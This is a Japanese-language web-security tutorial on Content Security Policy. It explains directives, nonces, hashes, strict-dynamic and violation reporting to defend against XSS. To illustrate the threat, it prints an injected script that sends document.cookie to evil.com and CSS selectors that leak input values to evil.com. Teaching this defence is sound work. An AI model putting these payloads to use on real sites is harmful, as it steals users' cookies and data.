Content Security Policy 深掘り:XSS 防御から strict-dynamic まで

前端安全(更新: 2026年6月10日)

CSP:XSS 防御の最後の防衛線

Content Security Policy(CSP)は HTTP レスポンスヘッダーで、ブラウザにどのリソースをどこから読み込めるかを指示します。攻撃者が悪意あるスクリプトを注入しても、CSP はその実行を阻止できます。

CSP なしの XSS 攻撃

<!-- 攻撃者が注入したスクリプト -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

CSP ありの場合

Content-Security-Policy: default-src 'self'

→ ブラウザはインラインスクリプトの実行を拒否
→ 非同一オリジンリソースの読み込みを拒否
→ XSS 攻撃が無効化

CSP コアディレクティブ

リソース読み込みディレクティブ

ディレクティブ 制御対象
default-src 全リソースのデフォルトポリシー 'self'
script-src JavaScript の出所 'self' 'nonce-abc'
style-src CSS の出所 'self' 'unsafe-inline'
img-src 画像の出所 'self' data: https:
font-src フォントの出所 'self' https://fonts.gstatic.com
connect-src fetch/XHR/WebSocket の出所 'self' https://api.example.com
media-src 音声/動画の出所 'self'
object-src <object>/<embed> の出所 'none'
frame-src iframe の出所 'self'
base-uri <base href> の制限 'self'
form-action フォーム送信先 'self'

ドキュメントディレクティブ

ディレクティブ 効果 推奨値
upgrade-insecure-requests HTTP を自動で HTTPS にアップグレード (値なし)
block-all-mixed-content 混合コンテンツをブロック (値なし)
sandbox ページ機能を制限 allow-scripts allow-forms

unsafe-inline から nonce/hash へ

unsafe-inline のリスク

script-src 'self' 'unsafe-inline'

→ すべてのインラインスクリプトの実行を許可
→ XSS 注入の <script> も実行される
→ CSP が形骸化

nonce アプローチ

サーバーはリクエストごとにランダムな nonce を生成し、一致する nonce を持つスクリプトのみ実行を許可します:

<!-- HTTP レスポンスヘッダー -->
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'

<!-- HTML 内のスクリプト -->
<script nonce="abc123def456">
  console.log('これは正当なスクリプト');
</script>

<!-- 攻撃者のスクリプトには nonce がない → ブロック -->
<script>
  stealCookies(); // 実行されない
</script>

Next.js での nonce 実装

import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = `script-src 'self' 'nonce-${nonce}'`;

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

hash アプローチ

スクリプト内容の SHA256 ハッシュを計算し、ハッシュが一致するスクリプトのみ実行を許可します:

Content-Security-Policy: script-src 'self' 'sha256-abc123...'

<!-- ハッシュが一致するスクリプトは実行可能 -->
<script>console.log('固定内容スクリプト');</script>

hash は内容が固定のインラインスクリプト(GA 初期化コードなど)に適し、nonce は動的コンテンツに適しています。


strict-dynamic:信任チェーン伝播

従来の CSP の課題

サードパーティスクリプトの追加ごとに script-src にドメインを追記:

script-src 'self' cdn.jsdelivr.net cdn.jsdelivr.net/npm analytics.google.com ...

保守が困難で、そのドメイン下の全スクリプトを信任してしまう。

strict-dynamic アプローチ

strict-dynamicnonce/hash で信任されたスクリプトが動的に読み込むスクリプトも自動的に信任することを意味します。

script-src 'strict-dynamic' 'nonce-abc123'
  • nonce 付きの <script> は実行可能
  • そのスクリプトが document.createElement('script') で作成したスクリプトも実行可能
  • CSP に全 CDN ドメインを列挙する必要がない

信任チェーン伝播ルール

nonce で信任されたスクリプト
  ↓ 動的読み込み
  子スクリプトは自動信任
    ↓ 動的読み込み
    孫スクリプトも自動信任
      ↓ ...

strict-dynamic 下では、'self''unsafe-inline'、ドメインソースなどの従来のソース式は無視され、nonce/hash のみが信任ルートとなります。


style-src の特別な扱い

なぜ CSS にも CSP が必要か

攻撃者は CSS を通じてデータを窃取できます:

/* CSS データ窃取:属性値に応じて異なる背景画像を読み込む */
input[value^="a"] { background: url(https://evil.com/?char=a); }
input[value^="b"] { background: url(https://evil.com/?char=b); }

スタイル CSP 戦略

style-src 'self' 'nonce-xyz789'
<style nonce="xyz789">
  .card { border-radius: 8px; }
</style>

多くのフレームワーク(Tailwind CSS JIT など)は 'unsafe-inline' を必要とします。nonce や hash で段階的に厳格化できます。


CSP 違反レポート

レポートエンドポイントの設定

Content-Security-Policy: default-src 'self'; report-uri /api/csp-report

新しい report-to を使用:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://toolsku.com/api/csp-report"

違反レポート形式

{
  "csp-report": {
    "document-uri": "https://toolsku.com/blog/csp",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "inline",
    "source-file": "https://toolsku.com/blog/csp",
    "line-number": 42,
    "column-number": 8
  }
}

サーバー側のレポート処理

export async function POST(request: Request) {
  const report = await request.json();
  console.error('CSP violation:', report['csp-report']);

  await db.insert('csp_violations', {
    uri: report['csp-report']['document-uri'],
    directive: report['csp-report']['violated-directive'],
    blocked: report['csp-report']['blocked-uri'],
    timestamp: new Date()
  });

  return new Response(null, { status: 204 });
}

CSP Report-Only モード

CSP をデプロイする前に Report-Only モードで違反を観察します。実際にはブロックしません

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /api/csp-report

段階的デプロイフロー

1. CSP-Report-Only を設定 → 違反レポートを収集
2. レポートを分析 → CSP ポリシーを調整
3. 違反がゼロになったら → 正式な CSP に切替
4. 継続的にモニタリング → 新しい違反があれば再調整

完全な CSP 設定例

ToolsKu サイトの CSP

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'strict-dynamic' 'nonce-{NONCE}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.toolsku.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /api/csp-report

設定の解説

ディレクティブ セキュリティ上の意義
default-src 'self' デフォルトは同一オリジンのみ 任意リソース読み込みを防止
script-src 'strict-dynamic' 'nonce-...' nonce + 信任チェーン unsafe-inline を排除
style-src 'unsafe-inline' インラインスタイルを許可 Tailwind JIT で必要
object-src 'none' Flash/Java を禁止 レガシープラグインの攻撃面を排除
frame-src 'none' iframe を禁止 クリックジャッキングを防止
base-uri 'self' base タグを制限 base ハイジャックを防止
form-action 'self' フォームは同一オリジンのみ送信 フォームハイジャックを防止

補完的なセキュリティレスポンスヘッダー

ヘッダー 効果 推奨値
X-Content-Type-Options MIME スニッフィングを防止 nosniff
X-Frame-Options iframe 埋め込みを防止 DENY
X-XSS-Protection ブラウザ XSS フィルター 0(CSP でカバー済み)
Strict-Transport-Security HTTPS を強制 max-age=31536000; includeSubDomains
Referrer-Policy Referer 漏洩を制御 strict-origin-when-cross-origin
Permissions-Policy ブラウザ API を制限 camera=(), microphone=(), geolocation=()

よくある落とし穴

落とし穴 説明 解決策
unsafe-eval eval()/new Function() を許可 eval の使用を避ける、または Wasm で代替
unsafe-inline + nonce nonce があると inline は無視される unsafe-inline を削除
default-src の欠落 未設定ディレクティブは default-src にフォールバック 常に default-src を設定
CDN ドメイン過多 保守困難 strict-dynamic を使用
base-uri 未設定 攻撃者が <base> を注入して相対パスを改変 base-uri 'self' を設定

まとめ

CSP は XSS 防御の中核機構です。unsafe-inline から nonce + strict-dynamic への移行はモダン CSP のベストプラクティスです。インラインスクリプトのリスクを排除しつつ、サードパーティスクリプトの信任チェーン保守問題を解決します。Report-Only による段階的デプロイと違反レポートのモニタリングを組み合わせれば、機能を壊さずにセキュリティポリシーを継続的に厳格化できます。

CSP ジェネレーター で CSP ポリシーを素早く設定、HTTP ヘッダー分析 でレスポンスヘッダーの安全性を確認、Permissions Policy ツール でブラウザ API アクセスを制限できます。

ブラウザローカルツールを無料で試す →

#CSP#内容安全策略#XSS防护#nonce#安全响应头